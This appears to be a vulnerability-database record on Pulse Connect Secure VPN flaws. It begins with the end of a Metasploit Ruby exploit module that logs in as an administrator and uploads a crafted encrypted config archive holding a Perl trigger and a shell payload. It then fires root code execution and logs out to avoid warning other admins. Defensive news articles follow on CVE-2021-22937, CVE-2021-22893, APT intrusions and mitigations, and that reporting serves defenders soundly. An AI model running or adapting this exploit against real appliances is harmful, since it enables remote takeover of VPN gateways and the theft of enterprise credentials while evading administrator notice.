'Delay between command executions', 1.5 ]),\n ])\n end\n\n def check(exploiting: false)\n login\n res = send_request_cgi({ 'uri' => normalize_uri('dana-admin', 'misc', 'admin.cgi') })\n fail_with(Failure::UnexpectedReply, 'Failed to retrieve the version information') unless res&.code == 200\n version = res.body.scan(%r{id=\"span_stats_counter_total_users_count\"[^>]+>([^<(]+)(?:\\(build (\\d+)\\))?</span>})&.last\n fail_with(Failure::UnexpectedReply, 'Failed to retrieve the version information') unless version\n version, build = version\n\n return CheckCode::Unknown unless version.include?('R')\n\n version, revision = version.split('R', 2)\n print_status(\"Version #{version.strip}, revision #{revision.strip}, build #{build.strip} found\")\n return CheckCode::Appears if version.to_f <= 9.1 && revision.to_f < 9\n\n CheckCode::Detected\n rescue Msf::Exploit::Failed\n CheckCode::Unknown\n ensure\n logout unless exploiting\n end\n\n def exploit\n case (checkcode = check(exploiting: true))\n when Exploit::CheckCode::Vulnerable, Exploit::CheckCode::Appears\n print_good(checkcode.message)\n when Exploit::CheckCode::Detected\n print_warning(checkcode.message)\n else\n fail_with(Module::Failure::Unknown, checkcode.message.to_s)\n end\n\n case target['Type']\n when :unix_memory\n execute_command(payload.encoded)\n when :linux_dropper\n execute_cmdstager(\n linemax: 262144, # 256KiB\n delay: datastore['CMDSTAGER::DELAY']\n )\n end\n\n logout\n end\n\n def execute_command(command, _opts = {})\n trigger = Rex::Text.rand_text_alpha_upper(8)\n print_status(\"Exploit trigger will be at #{normalize_uri('dana-na', 'auth', 'setcookie.cgi')} with a header of #{trigger}\")\n\n config = build_malicious_config(command, trigger)\n res = upload_config(config)\n\n fail_with(Failure::UnexpectedReply, 'File upload failed') unless res&.code == 200\n\n print_status('Triggering RCE')\n send_request_cgi({\n 'uri' => normalize_uri(target_uri.path, 'dana-na', 'auth', 'setcookie.cgi'),\n 'headers' => { trigger => trigger }\n })\n end\n\n def res_get_xsauth(res)\n res.body.scan(%r{name=\"xsauth\" value=\"([^\"]+)\"/>})&.last&.first\n end\n\n def upload_config(config)\n print_status('Requesting backup config page')\n res = send_request_cgi({\n 'uri' => normalize_uri(target_uri.path, 'dana-admin', 'cached', 'config', 'config.cgi'),\n 'headers' => { 'Referer' => \"#{full_uri('/dana-admin/cached/config/config.cgi')}?type=system\" },\n 'vars_get' => { 'type' => 'system' }\n })\n fail_with(Failure::UnexpectedReply, 'Failed to request the backup configuration page') unless res&.code == 200\n xsauth = res_get_xsauth(res)\n fail_with(Failure::UnexpectedReply, 'Failed to get the xsauth token') if xsauth.nil?\n\n post_data = Rex::MIME::Message.new\n post_data.add_part(xsauth, nil, nil, 'form-data; name=\"xsauth\"')\n post_data.add_part('Import', nil, nil, 'form-data; name=\"op\"')\n post_data.add_part('system', nil, nil, 'form-data; name=\"type\"')\n post_data.add_part('8', nil, nil, 'form-data; name=\"optWhat\"')\n post_data.add_part('', nil, nil, 'form-data; name=\"txtPassword1\"')\n post_data.add_part('Import Config', nil, nil, 'form-data; name=\"btnUpload\"')\n post_data.add_part(config, 'application/octet-stream', 'binary', 'form-data; name=\"uploaded_file\"; filename=\"system.cfg\"')\n\n print_status('Uploading encrypted config backup')\n send_request_cgi({\n 'uri' => normalize_uri(target_uri.path, 'dana-admin', 'cached', 'config', 'import.cgi'),\n 'method' => 'POST',\n 'headers' => { 'Referer' => \"#{full_uri('/dana-admin/cached/config/config.cgi')}?type=system\" },\n 'data' => post_data.to_s,\n 'ctype' => \"multipart/form-data; boundary=#{post_data.bound}\"\n })\n end\n\n def login\n res = send_request_cgi({\n 'uri' => normalize_uri(target_uri.path, 'dana-na', 'auth', 'url_admin', 'login.cgi'),\n 'method' => 'POST',\n 'vars_post' => {\n 'tz_offset' => '-300',\n 'username' => datastore['USERNAME'],\n 'password' => datastore['PASSWORD'],\n 'realm' => 'Admin Users',\n 'btnSubmit' => 'Sign In'\n },\n 'keep_cookies' => true\n })\n\n fail_with(Failure::UnexpectedReply, 'Login failed') unless res&.code == 302\n location = res.headers['Location']\n fail_with(Failure::NoAccess, 'Login failed') if location.include?('failed')\n\n return unless location.include?('admin%2Dconfirm')\n\n # if the account we login with is already logged in, or another admin is logged in, a warning is displayed. Click through it.\n print_status('Other admin sessions detected, continuing')\n res = send_request_cgi({ 'uri' => location, 'keep_cookies' => true })\n fail_with(Failure::UnexpectedReply, 'Login failed') unless res&.code == 200\n fds = res.body.scan(/name=\"FormDataStr\" value=\"([^\"]+)\">/).last\n xsauth = res_get_xsauth(res)\n fail_with(Failure::UnexpectedReply, 'Login failed (missing form elements)') unless fds && xsauth\n\n res = send_request_cgi({\n 'uri' => normalize_uri(target_uri.path, 'dana-na', 'auth', 'url_admin', 'login.cgi'),\n 'method' => 'POST',\n 'vars_post' => {\n 'btnContinue' => 'Continue the session',\n 'FormDataStr' => fds.first,\n 'xsauth' => xsauth\n },\n 'keep_cookies' => true\n })\n fail_with(Failure::UnexpectedReply, 'Login failed') unless res\n end\n\n def logout\n print_status('Logging out to prevent warnings to other admins')\n res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'dana-admin', 'cached', 'config', 'config.cgi') })\n fail_with(Failure::UnexpectedReply, 'Logout failed') unless res&.code == 200\n\n logout_uri = res.body.scan(%r{/dana-na/auth/logout\\.cgi\\?xsauth=\\w+}).first\n fail_with(Failure::UnexpectedReply, 'Logout failed') if logout_uri.nil?\n\n res = send_request_cgi({ 'uri' => logout_uri })\n fail_with(Failure::UnexpectedReply, 'Logout failed') unless res&.code == 302\n end\n\n def build_malicious_config(cmd, trigger)\n payload_script = \"#{Rex::Text.rand_text_alphanumeric(rand(6..13))}.sh\"\n perl = <<~PERL\n if (length $ENV{HTTP_#{trigger}}){\n chmod 0775, \"/data/var/runtime/tmp/tt/#{payload_script}\";\n system(\"env /data/var/runtime/tmp/tt/#{payload_script}\");\n }\n PERL\n tarfile = StringIO.new\n Gem::Package::TarWriter.new(tarfile) do |tar|\n tar.mkdir('tmp', 509)\n tar.mkdir('tmp/tt', 509)\n tar.add_file('tmp/tt/setcookie.thtml.ttc', 511) do |tio|\n tio.write perl\n end\n tar.add_file(\"tmp/tt/#{payload_script}\", 511) do |tio|\n tio.write \"PATH=/home/bin:$PATH\\n\"\n tio.write \"rm -- \\\"$0\\\"\\n\"\n tio.write cmd\n end\n end\n\n gzfile = StringIO.new\n gz = Zlib::GzipWriter.new(gzfile)\n gz.write(tarfile.string)\n gz.close\n\n encrypt_config(gzfile.string)\n end\n\n def encrypt_config(config_blob)\n cipher = OpenSSL::Cipher.new('DES-EDE3-CFB').encrypt\n iv = cipher.iv = cipher.random_iv\n cipher.key = ENCRYPTION_KEY\n\n md5 = OpenSSL::Digest.new('MD5', \"#{iv}\\x00#{[config_blob.length].pack('V')}\")\n\n ciphertext = cipher.update(config_blob)\n ciphertext << cipher.final\n md5 << ciphertext\n\n cipher.reset\n \"\\x09#{iv}\\x00#{[ciphertext.length].pack('V') + ciphertext + cipher.update(md5.digest) + cipher.final}\"\n end\nend\n", "sourceHref": "https://0day.today/exploit/35525", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "thn": [{"lastseen": "2022-05-09T12:39:15", "description": "[](<https://thehackernews.com/images/-RY_dyS_4TCQ/YRDt_NkuUVI/AAAAAAAADeQ/wS5GjyTOcHgamafaxl_uz3MdktJc_UMHACLcBGAsYHQ/s0/pulse-secure-vpn.jpg>)\n\nPulse Secure has shipped a fix for a critical post-authentication remote code execution (RCE) vulnerability in its Connect Secure virtual private network (VPN) appliances to address an incomplete patch for an actively exploited flaw it previously resolved in October 2020.\n\n\"The Pulse Connect Secure appliance suffers from an uncontrolled archive extraction vulnerability which allows an attacker to overwrite arbitrary files, resulting in Remote Code Execution as root,\" NCC Group's Richard Warren [disclosed](<https://research.nccgroup.com/2021/08/05/technical-advisory-pulse-connect-secure-rce-via-uncontrolled-archive-extraction-cve-2021-22937-patch-bypass/>) on Friday. \"This vulnerability is a bypass of the patch for [CVE-2020-8260](<https://nvd.nist.gov/vuln/detail/CVE-2020-8260>).\"\n\n\"An attacker with such access will be able to circumvent any restrictions enforced via the web application, as well as remount the filesystem, allowing them to create a persistent backdoor, extract and decrypt credentials, compromise VPN clients, or pivot into the internal network,\" Warren added.\n\nThe disclosure comes days after Ivanti, the company behind Pulse Secure, [published an advisory](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44858>) for as many as six security vulnerabilities on August 2, urging customers to move quickly to update to Pulse Connect Secure version 9.1R12 to secure against any exploitation attempts targeting the flaws.\n\nTracked as CVE-2021-22937 (CVSS score: 9.1), the shortcoming could \"allow an authenticated administrator to perform a file write via a maliciously crafted archive uploaded in the administrator web interface,\" according to Pulse Secure. CVE-2020-8260 (CVSS core: 7.2), which concerns an arbitrary code execution flaw using uncontrolled gzip extraction, was [remediated](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44601>) in October 2020 with version 9.1R9.\n\n\"CVE-2021-2293 is a separate vulnerability and is not a bypass of CVE-2020-8260, but is similar in terms of impact and vulnerability type, which is why we assigned a separate CVE,\" Daniel Spicer, Invanti's vice president of security, said in a statement to The Hacker News.\n\nThe vulnerability is due to a flaw in the way that archive files (.TAR) are extracted in the administrator web interface. While further checks were added to validate the TAR file to prevent exploitation of CVE-2020-8260, additional variant and patch analysis revealed that it's possible to exploit the same extraction vulnerability in the part of the source code that handles profiler device databases, effectively getting around the mitigations put in place.\n\n\"Whilst this issue was patched by adding validation to extracted files, this validation does not apply to archives with the 'profiler' type,\" Warren said. \"Therefore, by simply modifying the original CVE-2020-8260 exploit to change the archive type to 'profiler', the patch can be bypassed, and code execution achieved.\"\n\nIt's worth noting that CVE-2020-8260 was one among the four Pulse Secure flaws that was [actively exploited by threat actors](<https://thehackernews.com/2021/04/warning-hackers-exploit-unpatched-pulse.html>) earlier this April to stage a series of intrusions targeting defense, government, and financial entities in the U.S. and beyond in a bid to circumvent multi-factor authentication protections and breach enterprise networks. Given the possibility of real-world exploitation, it's highly recommended to upgrade to Pulse Connect Secure (PCS) 9.1R12, or later.\n\n\"A rigorous code review is just one of the steps we are taking to further bolster our security and protect our customers,\" Spicer [said](<https://blog.pulsesecure.net/improved-security-testing-procedures/>). \"For instance, we are also further expanding our existing internal product security resources to ramp up the pace and intensity of testing on existing products as well as those of companies or systems that we integrate into Ivanti.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "HIGH", "baseScore": 7.2, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-08-09T09:00:00", "type": "thn", "title": "Pulse Secure VPNs Get New Urgent Update for Poorly Patched Critical Flaw", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-8260", "CVE-2021-2293", "CVE-2021-22937"], "modified": "2021-08-10T07:48:11", "id": "THN:9FB8DE3BF545932321335F2C525A4A36", "href": "https://thehackernews.com/2021/08/pulse-secure-vpns-get-new-urgent-update.html", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:38:19", "description": "[](<https://thehackernews.com/images/-HxsxXCBkPXE/YH-natH6OTI/AAAAAAAACUA/6_XHWg-Cu_YYS4p-8w6I8XWh3VRUU9ZMQCLcBGAsYHQ/s0/pulse-secure-hacking.jpg>)\n\nIf Pulse Connect Secure gateway is part of your organization network, you need to be aware of a newly discovered critical zero-day authentication bypass vulnerability (CVE-2021-22893) that is currently being exploited in the wild and for which there is no patch available yet.\n\nAt least two threat actors have been behind a series of intrusions targeting defense, government, and financial organizations in the U.S. and elsewhere by leveraging critical vulnerabilities in Pulse Secure VPN devices to circumvent multi-factor authentication protections and breach enterprise networks.\n\n\"A combination of prior vulnerabilities and a previously unknown vulnerability discovered in April 2021, [CVE-2021-22893](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44784/>), are responsible for the initial infection vector,\" cybersecurity firm FireEye [said](<https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html>) on Tuesday, identifying 12 malware families associated with the exploitation of Pulse Secure VPN appliances.\n\nThe company is also tracking the activity under two threat clusters UNC2630 and UNC2717 (\"[UNC](<https://www.fireeye.com/blog/products-and-services/2020/12/how-mandiant-tracks-uncategorized-threat-actors.html>)\" for Uncategorized) \u2014 the former linked to a break-in of U.S. Defense Industrial base (DIB) networks, while the latter was found targeting a European organization in March 2021 \u2014 with the investigation attributing UNC2630 to operatives working on behalf of the Chinese government, in addition to suggesting possible ties to another espionage actor [APT5](<https://malpedia.caad.fkie.fraunhofer.de/actor/apt5>) based on \"strong similarities to historic intrusions dating back to 2014 and 2015.\"\n\n[](<https://thehackernews.com/images/-_r1BkPmCUK8/YH-n1A6EuZI/AAAAAAAACUI/MS0JCaPy_hEkXJpAquULKRANPrKeNuL_gCLcBGAsYHQ/s728/vpn-hacking.jpg>)\n\nAttacks staged by UNC2630 are believed to have commenced as early as August 2020, before they expanded in October 2020, when UNC2717 began repurposing the same flaws to install custom malware on the networks of government agencies in Europe and the U.S. The incidents continued until March 2021, according to FireEye.\n\nThe list of malware families is as follows -\n\n * **UNC2630** \\- SLOWPULSE, RADIALPULSE, THINBLOOD, ATRIUM, PACEMAKER, SLIGHTPULSE, and PULSECHECK\n * **UNC2717** \\- HARDPULSE, QUIETPULSE, AND PULSEJUMP\n\nTwo additional malware strains, STEADYPULSE and LOCKPICK, deployed during the intrusions have not been linked to a specific group, citing lack of evidence.\n\nBy exploiting multiple Pulse Secure VPN weaknesses ([CVE-2019-11510](<https://thehackernews.com/2020/04/pulse-secure-vpn-vulnerability.html>), [CVE-2020-8260](<https://nvd.nist.gov/vuln/detail/CVE-2020-8260>), [CVE-2020-8243](<https://nvd.nist.gov/vuln/detail/CVE-2020-8243>), and CVE-2021-22893), UNC2630 is said to have harvested login credentials, using them to move laterally into the affected environments. In order to maintain persistence to the compromised networks, the actor utilized legitimate, but modified, Pulse Secure binaries and scripts to enable arbitrary command execution and inject web shells capable of carrying out file operations and running malicious code.\n\nIvanti, the company behind the Pulse Secure VPN, has released [temporary mitigations](<https://us-cert.cisa.gov/ncas/alerts/aa21-110a>) to address the arbitrary file execution vulnerability ([CVE-2021-22893](<https://kb.cert.org/vuls/id/213092>), CVSS score: 10), while a fix for the issue is expected to be in place by early May. The Utah-based company acknowledged that the new flaw impacted a \"[very limited number of customers](<https://blog.pulsesecure.net/pulse-connect-secure-security-update/>),\" adding it has released a [Pulse Connect Secure Integrity Tool](<https://kb.pulsesecure.net/articles/Pulse_Secure_Article/KB44755>) for customers to check for signs of compromise.\n\nPulse Secure customers are recommended to upgrade to PCS Server version 9.1R.11.4 when it becomes available.\n\nNews of compromises affecting government agencies, critical infrastructure entities, and other private sector organizations comes a week after the U.S. government [released an advisory](<https://thehackernews.com/2021/04/us-sanctions-russia-and-expels-10.html>), warning businesses of active exploitation of five publicly known vulnerabilities by the Russian Foreign Intelligence Service (SVR), including CVE-2019-11510, to gain initial footholds into victim devices and networks.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-04-21T04:20:00", "type": "thn", "title": "WARNING: Hackers Exploit Unpatched Pulse Secure 0-Day to Breach Organizations", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510", "CVE-2020-8243", "CVE-2020-8260", "CVE-2021-22893"], "modified": "2021-04-21T17:42:28", "id": "THN:AE2E46F59043F97BE70DB77C163186E6", "href": "https://thehackernews.com/2021/04/warning-hackers-exploit-unpatched-pulse.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "threatpost": [{"lastseen": "2021-04-21T15:44:32", "description": "A critical zero-day security vulnerability in Pulse Secure VPN devices has been exploited by nation-state actors to launch cyberattacks against U.S. defense, finance and government targets, as well as victims in Europe, researchers said.\n\n[](<https://threatpost.com/ebooks/2021-the-evolution-of-ransomware/?utm_source=April_eBook&utm_medium=ART&utm_campaign=ART>)\n\nDownload \u201cThe Evolution of Ransomware\u201d to gain valuable insights on emerging trends amidst rapidly growing attack volumes. Click above to hone your defense intelligence!\n\nThe flaw, tracked as CVE-2021-22893, allows remote code-execution (RCE) and is being used in the wild to gain administrator-level access to the appliances, according to Ivanti research. Pulse Secure said that the zero-day will be patched in early May; but in the meantime, the company worked with Ivanti (its parent company) to release both mitigations and the [Pulse Connect Secure Integrity Tool](<https://kb.pulsesecure.net/pkb_mobile#article/l:en_US/KB44755/s>), to help determine if systems have been impacted.\n\n\u201cThe investigation shows ongoing attempts to exploit four issues: The substantial bulk of these issues involve three vulnerabilities that were patched in 2019 and 2020: [Security Advisory SA44101](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/>) (CVE-2019-11510), [Security Advisory SA44588](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44588>) (CVE-2020-8243) and [Security Advisory SA44601](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44601>) (CVE-2020-8260),\u201d according to a Pulse Secure statement provided to Threatpost. \u201cThe new issue, discovered this month, impacted a very limited number of customers.\u201d\n\n## **CVE-2021-22893: A Zero-Day in Pulse Connect Secure VPNs**\n\nThe newly discovered critical security hole is rated 10 out of 10 on the CVSS vulnerability-rating scale. It\u2019s an authentication bypass vulnerability that can allow an unauthenticated user to perform RCE on the Pulse Connect Secure gateway. It \u201cposes a significant risk to your deployment,\u201d according to the advisory, [issued Tuesday](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44784>).\n\n\u201cThe ongoing COVID-19 crisis resulted in an overnight shift to remote work culture, and VPNs played a critical role to make this possible,\u201d Bharat Jogi, senior manager of vulnerability and threat research at Qualys, said via email. \u201cVPNs have become a prime target for cybercriminals and over the past few months.\u201d\n\n\u201cThe Pulse Connect Secure vulnerability with CVE-2021-22893\u2026can be exploited without any user interaction,\u201d he added.\n\nThe mitigations involve importing a file called \u201cWorkaround-2104.xml,\u201d available on the advisory page. It disables the Windows File Share Browser and Pulse Secure Collaboration features on the appliance.\n\nUser can also use the blacklisting feature to disable URL-based attacks, the firm noted, by blocking the following URIs:\n\n * ^/+dana/+meeting\n * ^/+dana/+fb/+smb\n * ^/+dana-cached/+fb/+smb\n * ^/+dana-ws/+namedusers\n * ^/+dana-ws/+metric\n\n\u201cThe Pulse Connect Secure (PCS) team is in contact with a limited number of customers who have experienced evidence of exploit behavior on their PCS appliances,\u201d according to Pulse Secure. \u201cThe PCS team has provided remediation guidance to these customers directly.\u201d\n\nAccording to tandem research from Mandiant, this and the other bugs are at the center of a flurry of activity by different threat actors, involving 12 different malware families overall. The malware is used for authentication-bypass and establishing backdoor access to the VPN devices, and for lateral movement. Two specific advanced persistent threat (APT) groups, UNC2630 and UNC2717, are particularly involved, researchers said.\n\n## **UNC2630 Cyber-Activity: Links to China**\n\n\u201cWe observed UNC2630 harvesting credentials from various Pulse Secure VPN login flows, which ultimately allowed the actor to use legitimate account credentials to move laterally into the affected environments,\u201d according to Mandiant, in a [Tuesday posting](<https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html>). \u201cIn order to maintain persistence to the compromised networks, the actor utilized legitimate, but modified, Pulse Secure binaries and scripts on the VPN appliance.\u201d\n\nThe firm tracks those tools as the following:\n\n * **SlowPulse:** Trojanized shared objects with malicious code to log credentials and bypass authentication flows within the legitimate Pulse Secure shared object libdsplibs.so, including multifactor authentication requirements.\n * **RadialPulse and PulseCheck:** Web shells injected into legitimate, internet-accessible Pulse Secure VPN appliance administrative web pages.\n * **ThinBlood:** A utility used to clear relevant log files.\n * **Other capabilities:** Toggling the filesystem between Read-Only and Read-Write modes to allow for file modification on a typically Read-Only filesystem; the ability to maintain persistence across VPN appliance general upgrades that are performed by the administrator; and the ability to unpatch modified files and delete utilities and scripts after use to evade detection.\n\nUNC2630 targeted U.S. defense-sector companies as early as last August, Mandiant noted. It added that the activity could be state-sponsored, likely backed by China.\n\n\u201cWe suspect UNC2630 operates on behalf of the Chinese government and may have ties to APT5,\u201d according to the analysis. \u201cUNC2630\u2019s combination of infrastructure, tools, and on-network behavior appear to be unique, and we have not observed them during any other campaigns or at any other engagement. Despite these new tools and infrastructure, Mandiant analysts noted strong similarities to historic intrusions dating back to 2014 and 2015 and conducted by Chinese espionage actor APT5.\u201d\n\nAPT5 consistently targets defense and technology companies in the Asia, Europe and the U.S., Mandiant noted.\n\n\u201c[It] has shown significant interest in compromising networking devices and manipulating the underlying software which supports these appliances,\u201d Mandiant researchers said. \u201cAPT5 persistently targets high value corporate networks and often re-compromises networks over many years. Their primary targets appear to be aerospace and defense companies located in the U.S., Europe, and Asia. Secondary targets (used to facilitate access to their primary targets) include network appliance manufacturers and software companies usually located in the U.S.\u201d\n\n## **The UNC2717 APT Connection**\n\nAs for UNC2717, Mandiant linked Pulse Secure zero-day activity back to the APT in a separate incident in March, targeted against an unnamed European organization. UNC2717 was also seen targeting global government agencies between October and March.\n\nSo far, there\u2019s not enough evidence about UNC2717 to determine government sponsorship or suspected affiliation with any known APT group, Mandiant said.\n\nThe tools used by this group include HardPulse, which is a web shell; PulseJump, used for credential-harvesting; and RadialPulse. The firm also observed a new malware that it calls LockPick, which is a trojanized OpenSSL library file that appears to weaken encryption for communications used by the VPN appliances.\n\nAll of the malware families in use in the campaigns appear to be loosely related, according to Mandiant.\n\n\u201cAlthough we did not observe PulseJump or HardPulse used by UNC2630 against U.S. [defense] companies, these malware families have shared characteristics and serve similar purposes to other code families used by UNC2630,\u201d researchers said.\n\nThey added, \u201cMandiant cannot associate all the code families described in this report to UNC2630 or UNC2717. We also note the possibility that one or more related groups is responsible for the development and dissemination of these different tools across loosely connected APT actors.\u201d\n\n## **Pulse Secure: A Favorite Target for APTs**\n\nPulse Secure VPNs continue to be a hot target for nation-state actors. Last week, [the FBI warned](<https://threatpost.com/nsa-security-bugs-active-nation-state-cyberattack/165446/>) that a known arbitrary file-read Pulse Secure bug (CVE-2019-11510) was part of five vulnerabilities under attack by the Russia-linked group known as APT29 (a.k.a. Cozy Bear or The Dukes). APT29 is conducting \u201cwidespread scanning and exploitation against vulnerable systems in an effort to obtain authentication credentials to allow further access,\u201d according to the Feds.\n\nMeanwhile, earlier in April, the Department of Homeland Security (DHS) urged companies that use Pulse Secure VPNs to change their passwords for Active Directory accounts, because in many cases, attackers have already exploited CVE-2019-11510 to hoover up victims\u2019 credentials \u2013 and now are using those credentials to move laterally through organizations, [DHS warned](<https://threatpost.com/dhs-urges-pulse-secure-vpn-users-to-update-passwords/154925/>).\n\nAnd last fall, the Cybersecurity and Infrastructure Security Agency (CISA) said that a federal agency had suffered a successful espionage-related cyberattack that led to a backdoor and multistage malware being dropped on its network. Once again, [CVE-2019-11510 was in play](<https://threatpost.com/feds-cyberattack-data-stolen/159541/>), used to gain access to employees\u2019 legitimate Microsoft Office 365 log-in credentials and sign into an agency computer remotely.\n\n\u201cAlmost without fail, the common thread with any APT is the exploitation of known vulnerabilities both new and old,\u201d Yaniv Bar-Dayan, CEO and co-founder at Vulcan Cyber, said via email. \u201cMalicious activity, whether using a supply-chain vector or a VPN authentication bypass, is thwarted by good cyber-hygiene practices and serious blue teaming. Vulnerability management, or more importantly vulnerability remediation, is a cybersecurity dirty job that is under-resourced and underappreciated and businesses are paying the price.\u201d\n\n**Download our exclusive FREE Threatpost Insider eBook,** **_\u201c[2021: The Evolution of Ransomware](<https://threatpost.com/ebooks/2021-the-evolution-of-ransomware/?utm_source=April_eBook&utm_medium=ART&utm_campaign=ART>),\u201d_**** to help hone your cyber-defense strategies against this growing scourge. We go beyond the status quo to uncover what\u2019s next for ransomware and the related emerging risks. Get the whole story and [DOWNLOAD](<https://threatpost.com/ebooks/2021-the-evolution-of-ransomware/?utm_source=April_eBook&utm_medium=ART&utm_campaign=ART>) the eBook now \u2013 on us!**\n", "cvss3": {}, "published": "2021-04-21T15:35:37", "type": "threatpost", "title": "Pulse Secure Critical Zero-Day Security Bug Under Active Exploit", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-11510", "CVE-2020-8243", "CVE-2020-8260", "CVE-2021-22893"], "modified": "2021-04-21T15:35:37", "id": "THREATPOST:2BD1A92D071EE3E52CB5EA7DD865F60A", "href": "https://threatpost.com/pulse-secure-critical-zero-day-active-exploit/165523/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "malwarebytes": [{"lastseen": "2021-05-04T12:27:56", "description": "Pulse Secure has [alerted customers](<https://blog.pulsesecure.net/pulse-connect-secure-security-update/>) to the existence of an exploitable chain of attack against its Pulse Connect Secure (PCS) appliances. PCS provides Virtual Private Network (VPN) facilities to businesses, which use them to prevent unauthorized access to their networks and services.\n\nCybersecurity sleuths Mandiant report that they are tracking "12 malware families associated with the exploitation of Pulse Secure VPN devices" operated by groups using a set of related techniques to bypass both single and multi-factor authentication. Most of the problems discovered by Pulse Secure and Mandiant involve three vulnerabilities that were patched in 2019 and 2020. But there is also a very serious new issue that it says impacts a very limited number of customers.\n\n### The old vulnerabilities\n\nPublicly disclosed computer security flaws are listed in the Common Vulnerabilities and Exposures (CVE) database. Its goal is to make it easier to share data across separate vulnerability capabilities (tools, databases, and services). The patched vulnerabilities are listed as:\n\n * [CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>) an unauthenticated remote attacker can send a specially crafted URI to perform an arbitrary file reading vulnerability. We [wrote](<https://blog.malwarebytes.com/business-2/2019/10/pulse-vpn-patched-their-vulnerability-but-businesses-are-trailing-behind/>) about the apparent reluctance to patch for this vulnerability in 2019.\n * [CVE-2020-8243](<https://nvd.nist.gov/vuln/detail/CVE-2020-8243>) a vulnerability in the Pulse Connect Secure < 9.1R8.2 admin web interface could allow an authenticated attacker to upload a custom template to perform an arbitrary code execution.\n * [CVE-2020-8260](<https://nvd.nist.gov/vuln/detail/CVE-2020-8260>) a vulnerability in the Pulse Connect Secure < 9.1R9 admin web interface could allow an authenticated attacker to perform an arbitrary code execution using uncontrolled gzip extraction.\n\nThe obvious advice here is to review the Pulse advisories for these vulnerabilities and follow the recommended guidance, which includes changing all passwords in the environments that are impacted.\n\n### The new vulnerability\n\nThe new vulnerability (CVE-2021-22893) is a Remote Code Execution (RCE) vulnerability with a CVSS score of 10\u2014the maximum\u2014and a Critical rating. According to [the Pulse advisory](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44784>):\n\n> [The vulnerability] includes an authentication by-pass vulnerability that can allow an unauthenticated user to perform remote arbitrary file execution on the Pulse Connect Secure gateway. This vulnerability has a critical CVSS score and poses a significant risk to your deployment.\n\nThere is no patch for it yet (it is expected to be patched in early May), so system administrators will need to mitigate for the problem for now, rather than simply fixing it. Please don't wait for the patch.\n\n### Mitigation requires a workaround\n\nAccording to Pulse Secure, until the patch is available CVE-2021-22893 can be mitigated by importing a workaround file. More details can be found in the company's [Security Advisory 44784](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44784>). Reportedly, the workaround disables Pulse Collaboration, a feature that allows users to schedule and hold online meetings between both Connect Secure users and non-Connect Secure users. The workaround also disables the Windows File Share Browser that allows users to browse network file shares.\n\n### Targets\n\nThe Pulse Connect Secure vulnerabilities including CVE-2021-22893 have been used to target government, defense and financial organizations around the world, but mainly in the US. According to some articles the threat-actors are linked to China. The identified threat actors were found to be harvesting account credentials. Very likely in order to perform lateral movement within compromised organizations' environments. They have also observed threat actors 